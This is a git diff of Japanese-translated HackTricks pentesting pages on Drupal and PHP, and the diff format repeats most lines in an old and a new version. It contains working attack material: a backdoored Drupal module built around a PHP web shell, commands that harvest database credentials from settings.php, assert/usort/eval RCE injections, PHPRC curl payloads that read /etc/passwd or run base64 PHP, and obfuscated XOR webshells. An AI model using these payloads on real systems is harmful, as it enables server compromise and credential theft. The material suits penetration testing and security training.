* **Node**: Drupalは**ノードを使用してコンテンツをインデックス**します。ノードにはブログ投稿、投票、記事など、**何でも保持**できます。ページのURIは通常、`/node/<nodeid>`の形式です。
* **Node**: Drupal **はノードを使用してコンテンツをインデックス**します。ノードにはブログ投稿、投票、記事など、**何でも保持**できます。ページのURIは通常、`/node/<nodeid>`の形式です。
```bash
curl drupal-site.com/node/1
```
@ -53,23 +53,23 @@ Drupalの新しいインストールでは、デフォルトで`CHANGELOG.txt`
#### 登録
_ /user/register_ でユーザー名を作成しようとすると、すでに使用されている場合に通知されます:
_ /user/register_ でユーザー名を作成しようとすると、すでに使用されている名前の場合に通知されます:
![](<../../.gitbook/assets/image (325).png>)
#### 新しいパスワードのリクエスト
既存のユーザー名に新しいパスワードをリクエストする場合:
既存のユーザー名に対して新しいパスワードをリクエストする場合:
![](<../../.gitbook/assets/image (900).png>)
存在しないユーザー名に新しいパスワードをリクエストする場合:
存在しないユーザー名に対して新しいパスワードをリクエストする場合:
![](<../../.gitbook/assets/image (304).png>)
### ユーザー数の取得
_ /user/\<number>_ にアクセスすると、既存のユーザー数を確認できます。この場合、_ /users/3_ は見つかりませんエラーを返します:
_ /user/\<number>_ にアクセスすると、存在するユーザー数を確認できます。この場合、_ /users/3_ は見つかりませんエラーを返します:
![](<../../.gitbook/assets/image (330).png>)
@ -80,7 +80,7 @@ _ /user/\<number>_ にアクセスすると、既存のユーザー数を確認
**`/node/$` と入力し、`$` には番号が入ります**たとえば1から500まで。\
検索エンジンによって参照されていない**非表示ページ**(テスト、開発)を見つけることができます。
#### インストールされたモジュール情報
#### インストールされたモジュール情報
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
@ -102,9 +102,9 @@ droopescan scan drupal -u http://drupal-site.local
Drupalの**古いバージョンバージョン8より前**では、管理者としてログインし、**`PHP filter`モジュールを有効にする**ことが可能でした。これにより、「埋め込みPHPコード/スニペットを評価できる」ようになります。
{% endhint %}
**プラグインphpがインストールされている必要があります**_/modules/php_ にアクセスして**403**が返された場合は、**存在します**。**見つからない**場合は、**プラグインphpがインストールされていません**
**プラグインphpがインストールされている必要があります**_/_modules/php_ にアクセスして**403**が返された場合は、**存在します**。**見つからない**場合は、**プラグインphpがインストールされていません**
_Modules_に移動 -> **チェックを入れる** _PHP Filter_ -> _Save configuration_
_Modules_に移動 -> (**Check**) _PHP Filter_ -> _Save configuration_
![](<../../.gitbook/assets/image (247) (1).png>)
@ -118,13 +118,13 @@ curl http://drupal-site.local/node/3
```
### PHPフィルターモジュールのインストール
**バージョン8以降では**、[**PHPフィルター**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を活用するには、**モジュールを自分でインストールする必要があります**。
バージョン**8以降**から、[**PHPフィルター**](https://www.drupal.org/project/php/releases/8.x-1.1) **モジュールはデフォルトでインストールされていません**。この機能を活用するには、**モジュールを自分でインストールする必要があります**。
1. Drupalのウェブサイトからモジュールの最新バージョンをダウンロードします。
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. ダウンロードが完了したら、**`管理`** > **`レポート`** > **`利用可能な更新`** に移動します。
4. **`参照`** をクリックし、ダウンロードしたディレクトリからファイルを選択して、**`インストール`** をクリックします。
5. モジュールがインストールされたら、**`コンテンツ`** をクリックして、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキスト形式`のドロップダウンから`PHPコード`を選択**することを忘れないでください。
3. ダウンロードが完了したら、**`管理`** > **`レポート`** > **`利用可能な更新`**に移動します。
4. **`参照`**をクリックし、ダウンロードしたディレクトリからファイルを選択して、**`インストール`**をクリックします。
5. モジュールがインストールされたら、**`コンテンツ`**をクリックして、Drupal 7の例と同様に**新しい基本ページを作成**します。再度、**`テキスト形式`のドロップダウンから`PHPコード`を選択**することを忘れないでください。
### バックドア付きモジュール
@ -135,7 +135,7 @@ curl http://drupal-site.local/node/3
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* 以下の内容で **PHP web shell** を作成します:
* 以下の内容で **PHPウェブシェル** を作成します:
```php
<?php
system($_GET["cmd"]);
@ -148,17 +148,17 @@ RewriteEngine On
RewriteBase /
</IfModule>
```
* 上記の設定は、/modules内のファイルをリクエストしたときに/folderにルールを適用します。これらのファイルをcaptchaフォルダにコピーして、アーカイブを作成してください。
* 上記の構成は、/modules内のファイルをリクエストしたときに/folderにルールを適用します。これらのファイルをcaptchaフォルダにコピーして、アーカイブを作成してください。
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* ウェブサイトへの**管理アクセス**があると仮定して、**`Manage`**をクリックし、サイドバーで**`Extend`**をクリックします。次に、**`+ Install new module`**ボタンをクリックし、`http://drupal-site.local/admin/modules/install`のようなインストールページに移動します。バックドア付きのCaptchaアーカイブに移動して**`Install`**をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`**に移動してコマンドを実行します。
* ウェブサイト**管理アクセス** があると仮定して、サイドバーの **`管理`** をクリックし、次に **`拡張`** をクリックします。次に、**`+ 新しいモジュールをインストール`** ボタンをクリックし、インストールページに移動します。例:`http://drupal-site.local/admin/modules/install` バックドア付きの Captcha アーカイブに移動して **`インストール`** をクリックします。
* インストールが成功したら、**`/modules/captcha/shell.php`** に移動してコマンドを実行します。
## ポストエクスプロイテーション
### settings.phpを読む
### settings.php を読む
```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
@ -166,11 +166,11 @@ find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|
```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
## 参考文献
## 参考
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -182,9 +182,9 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>**を使って、ゼロからヒーローまでAWSハッキングを学ぶ**</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。
</details>
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 緩い比較/型変換(==
PHPで`==`が使用されると、比較が予期しない方法で動作しない場合があります。これは、"=="は値を同じ型に変換してから比較するためです。比較するデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
PHPで`==`が使用されると、比較が予期しない挙動を示す場合があります。これは、"=="は値を同じ型に変換してから比較するためです。比較するデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -47,10 +47,10 @@ PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](htt
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
- `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較してTrueになる(文字列内の数字は数字として解釈される)
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較して同じ場合にTrueとなる(文字列内の数字は数字として解釈される)
- `"0e3264578" == 0 --> True` "0e"で始まり、その後に何かが続く文字列は0と等しい
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字続き、その後に何かが続く文字列は0と等しい
- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、文字列入力の"0"と、それと比較されるハッシュ化されたコンテンツを制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**すでにハッシュ化された文字列**はこちらで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字続き、その後に何かが続く文字列は0と等しい
- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化された内容と比較される文字列の入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**既にハッシュ化された文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 文字列内の任意の文字は整数0と等しい
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)で確認できます。
@ -78,7 +78,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
`strcasecmp()`でも同じエラーが発生します。
たとえ`===`が使用されていても、比較が**型変換**に**脆弱**になる可能性があります。たとえば、比較が**データを比較する前に異なるタイプのオブジェクトに変換している**場合:
たとえ`===`が使用されていても、**型変換**に**脆弱な比較**が発生する可能性があります。たとえば、比較が行われる前にデータが異なるタイプのオブジェクトに変換されている場合:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -101,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
このチェックをバイパスするためには、**新しい行でurlエンコードされた値を送信**するか (`%0A`)、または**JSONデータ**を送信できる場合は、**複数行に分けて**送信します:
このチェックをバイパスするためには、**新しい行でurlエンコードされた値を送信**`%0A`)するか、**JSONデータ**を送信できる場合は、**複数行に分けて**送信します:
```php
{
"cmd": "cat /etc/passwd"
@ -109,10 +109,10 @@ echo preg_match("/^.*1.*$/",$myinput);
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **長さエラーバイパス**
#### **長さエラー回避**
このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15では機能しなかったようです)\
`preg_match()` に有効な非常に**大きな入力**を送信すると、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます
このバイパスは、おそらくPHP 5.2.5で試されましたが、PHP 7.3.15では機能しないようです)\
`preg_match()`に非常に**大きな入力**を送信できる場合、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -122,13 +122,13 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
要約すると、問題が発生するのは、PHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいて構築されているためです。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタックスペースを使用します。再帰の許容量を制限することが可能ですが、PHPではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。
要約すると、問題が発生するのは PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) を基にしているためです。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタック領域を使用します。再帰の許容量を制限することが可能ですが、PHP ではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。
この問題について詳しく説明されている[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、この投稿でリンクされています。私たちのタスクは明確でした:\
**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に `{system(<verybadcommand>)} `のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)**。
この問題について詳しく説明されている[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) も投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が 100,000 回以上の再帰を行う入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に `{system(<verybadcommand>)}` のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)**。
実際には、正規表現の観点からは、100,000回の「再帰」を行っているわけではなく、「バックトラッキングステップ」をカウントしています。[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によると、`pcre.backtrack_limit`変数のデフォルト値は 1,000,000 (1M) です。\
これに到達するためには、`'X'*500_001`を使用すると、100万のバックトラッキングステップが生成されます (50万回の前方および50万回の後方)
実際には、正規表現の観点からは、100,000 回の "再帰"を行っているわけではなく、代わりに "バックトラッキングステップ" をカウントしています。これは [PHP のドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によると、`pcre.backtrack_limit` 変数でデフォルトで 1,000,000 (100 万) に設定されています。\
これを達成するには、`'X'*500_001` とすると、100 万のバックトラッキングステップ (50 万回の前進と 50 万回の後退) になります
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -155,7 +155,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## パストラバーサルとファイルインクルージョンの悪用
## パス遍歴とファイルインクルージョンの悪用
チェック:
@ -165,9 +165,10 @@ readfile($page);
## もっとトリック
* **register\_globals**: **PHP < 4.1.1.1** または誤って構成されている場合、**register\_globals** が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$\_GET など)に値がある場合、$\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用されている変数を上書きできます。
* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、同じドメイン内で**異なるパスで異なるクッキーが使用されている**場合、あるパスが他のパスのクッキーにアクセスするように設定できます。これにより、**両方のパスが同じ名前の変数にアクセスする**場合、**path1の変数の値をpath2に適用**できます。そして、path2はpath1の変数を有効として受け入れますpath2でそれに対応する名前のクッキーを与えることにより
* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスを確認してください: **/\~\<USERNAME>** 、PHPディレクトリが有効になっているかどうかを確認します。
* **register\_globals**: **PHP < 4.1.1.1** または誤って構成されている場合、**register\_globals** が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$\_GETに値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTPパラメータを送信することで、コード内で使用されている変数を上書きできます。
* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、ドメイン内で**異なるパスで異なるクッキーが使用されている**場合、あるパスが他のパスのクッキーにアクセスするように設定できます。\
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**その変数の値を path1 に適用して path2 に適用できます**。そして、path2 は path1 の変数を有効として受け入れます(クッキーにそれに対応する名前を与えることで)。
* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスをチェックしてください: **/\~\<USERNAME>** 、PHPディレクトリが有効になっているかどうかを確認します。
* [**phpラッパーを使用したLFIおよびRCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
@ -181,9 +182,9 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTPヘッダーのバイパスを利用したPHPエラー
### HTTPヘッダーのバイパスを利用したPHPエラーの乱用
**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合**、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーがレスポンスにヘッダーを追加しようとするとエラーが発生します。\
**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合**、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーが応答にヘッダーを追加しようとするとエラーが発生します。\
次のシナリオでは、**攻撃者がサーバーに大きなエラーを発生させました**。スクリーンショットで見ると、PHPが**ヘッダー情報を変更しようとしたときにできなかった**ことがわかりますたとえば、CSPヘッダーがユーザーに送信されませんでした
![](<../../../.gitbook/assets/image (1082).png>)
@ -202,7 +203,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
コードを実行するには、"replace"引数に少なくとも1つの一致が必要です。\
このpreg\_replaceのオプションは、**PHP 5.5.0以降で非推奨となりました。**
このpreg\_replaceのオプションは、**PHP 5.5.0以降で非推奨となっています。**
### **Eval()を介したRCE**
```
@ -215,18 +216,14 @@ preg_replace("/a/e","phpinfo()","whatever")
### **Assert()を使用したRCE**
このphp内の関数は、**文字列で書かれたコードを実行**して**trueまたはfalseを返す**ことができます(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中に挿入されます。例えば:\
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を取得するには、以下を実行できます:
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を取得するには、次のようにします:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
### **usort()を使用したRCE**
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
この関数を悪用するには、コードの**構文を壊し**、**ペイロードを追加**し、その後**再度修正**する必要があります。**論理演算**「and」や「%26%26」や「|」を使用できます。最初の条件が真である場合、ペイロードは実行されないため、「or」や「||」は機能しません。同様に、「;」もペイロードが実行されないため機能しません。
**別のオプション**は、コマンドの実行を文字列に追加することです:`'.highlight_file('.passwd').'`
**別のオプション**(内部コードを持っている場合)は、実行を変更するために変数を変更することです:`$file = "hola"`
この関数を悪用するには:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
@ -246,38 +243,40 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
### **コードの残り部分をコメントアウトするには**、**//**を使用することもできます。
### **コメントアウト**
閉じる必要があるかっこの数を発見するには:
コードの残り部分をコメントアウトするには **//** を使用することもできます。
- `?order=id;}//`:エラーメッセージが表示されます(`Parse error: syntax error, unexpected ';'`。おそらく1つ以上の括弧が不足している可能性があります。
- `?order=id);}//`**警告**が表示されます。それはほぼ正しいようです。
- `?order=id));}//`:エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく閉じる括弧が多すぎる可能性があります。
閉じる必要があるかっこの数を見つけるには:
### **.httaccess**を経由したRCE
* `?order=id;}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足している可能性があります。
* `?order=id);}//`: **警告**が表示されます。それは正しいようです。
* `?order=id));}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ')' i`)。おそらく閉じる括弧が多すぎる可能性があります。
**.htaccess**を**アップロード**できる場合、いくつかの設定を**構成**したり、コードを実行したりすることができます(拡張子が.htaccessのファイルが**実行**されるように構成することができます)。
### **.httaccess 経由の RCE**
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます
**.htaccess** を **アップロード** できる場合、いくつかの設定を行い、コードを実行することができます(拡張子が .htaccess のファイルが **実行**されるように設定する)
### Env変数を経由したRCE
異なる .htaccess シェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
PHPで**環境変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードするための別の脆弱性がある場合、さらなる調査でこれをバイパスできるかもしれません)、この動作を悪用して**RCE**を取得できます。
### Env 変数経由の RCE
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを可能にします(この場合は機能しないかもしれません)。
- **`PHPRC`**PHPに**構成ファイル**である通常`php.ini`と呼ばれるファイルの場所を指示します。独自の構成ファイルをアップロードできる場合は、`PHPRC`を使用してPHPを指し示すようにします。2番目にアップロードしたファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、PHPランタイムによって他のコードの前に実行**されます。
1. シェルコードが含まれるPHPファイルをアップロードします。
2. PHPプリプロセッサに、ステップ1でアップロードしたファイルを実行するよう指示する**`auto_prepend_file`**ディレクティブが含まれる2番目のファイルをアップロードします。
3. `PHPRC`変数をステップ2でアップロードしたファイルに設定します。
- このチェーンを実行する方法についての詳細は、[**元のレポート**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)を参照してください。
- **PHPRC** - 別のオプション
- ファイルをアップロードできない場合、FreeBSDでは「ファイル」`/dev/fd/0`を使用できます。これには、`stdin`に送信されたリクエストの**本文**が含まれています:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- または、**`allow_url_include`**を有効にして、**base64 PHPコード**を含むファイルを先頭に追加してRCEを取得できます
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- この手法は[**このレポート**](https://vulncheck.com/blog/juniper-cve-2023-36845)からです。
**PHP で環境変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードすることができる場合、さらなる調査が必要かもしれませんが、これをバイパスできるかもしれません)、この動作を悪用して **RCE** を取得できます。
## PHP静的解析
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は他のバイナリを実行する際に任意のライブラリを読み込むことを可能にします(この場合は機能しないかもしれません)。
* **`PHPRC`** : PHPに **設定ファイル** である通常 `php.ini` と呼ばれるファイルの場所を指示します。独自の設定ファイルをアップロードできる場合は、`PHPRC` を使用してPHPを指定します。2番目にアップロードしたファイルを実行する **`auto_prepend_file`** エントリを追加します。この2番目のファイルには通常の **PHP コード** が含まれ、それは他のコードよりも前に PHP ランタイムによって実行されます。
1. シェルコードが含まれるPHPファイルをアップロードします
2. 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルをステップ1で実行するよう指示する **`auto_prepend_file`** ディレクティブを含めます
3. `PHPRC` 変数をステップ2でアップロードしたファイルに設定します。
* このチェーンを実行する方法についての詳細は[**元のレポート**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)を参照してください。
* **PHPRC** - 別のオプション
* ファイルをアップロードできない場合、FreeBSDでは "file" `/dev/fd/0` を使用して **`stdin`** を含む **リクエストの本文** を取得できます:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* または **`allow_url_include`** を有効にして **base64 PHP コード** でファイルを先頭に追加して **RCE** を取得できます:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* この手法は[**このレポート**](https://vulncheck.com/blog/juniper-cve-2023-36845)からです。
## PHP 静的解析
これらの関数への呼び出しにコードを挿入できるかどうかを確認してください([こちら](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)から)。
```php
@ -293,11 +292,11 @@ PHPアプリケーションのデバッグ中にエラー表示を有効にす
## PHPラッパープロトコル
PHPラッパーとプロトコルを使用すると、システム内の**書き込みおよび読み取り保護をバイパス**して侵害することができます。[**詳細についてはこのページをチェックしてください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
PHPラッパーとプロトコルを使用すると、システム内の**書き込みおよび読み取り保護をバイパス**して侵害することができます。[**詳細はこちら**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)をご覧ください
## Xdebug未認証RCE
`phpconfig()`の出力で**Xdebug**が**有効**になっている場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を使用してRCEを取得しようとする必要があります
`phpconfig()`の出力で**Xdebug**が**有効**になっている場合は、[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)を使用してRCEを取得しようとしてください
## 変数変数
```php
@ -311,25 +310,25 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## 新しい $\_GET\["a"]\($\_GET\["b"]) を悪用した RCE
## 新しい$\_GET\["a"]\($\_GET\["b"])を悪用したRCE
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCE を取得できるかもしれません。詳細については、以下のページをチェックしてください:
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できるかもしれません。詳細については、以下のページをチェックしてください:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## 文字を使用せずに PHP を実行する
## 文字なしでPHPを実行
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### 8進数を使用
### 進数を使用
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
XOR演算子は、2つのビットが異なる場合に1を返すビット演算子です。これは、PHPでビット単位の操作を行う際に便利です。XOR演算子を使用すると、さまざまな暗号化および複合化アルゴリズムを実装できます。
XOR排他的論理和は、2つのビットが異なる場合にのみ真を返す論理演算子です。
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -345,7 +344,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
したのようなリクエストを送信することで、**数字や文字なしに任意のPHPを実行**できる場合、そのペイロードを悪用して任意のPHPを実行するリクエストを送信できます:
したのようなペイロードを悪用して任意のPHPを実行できる場合、次のようにリクエストを送信できます:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
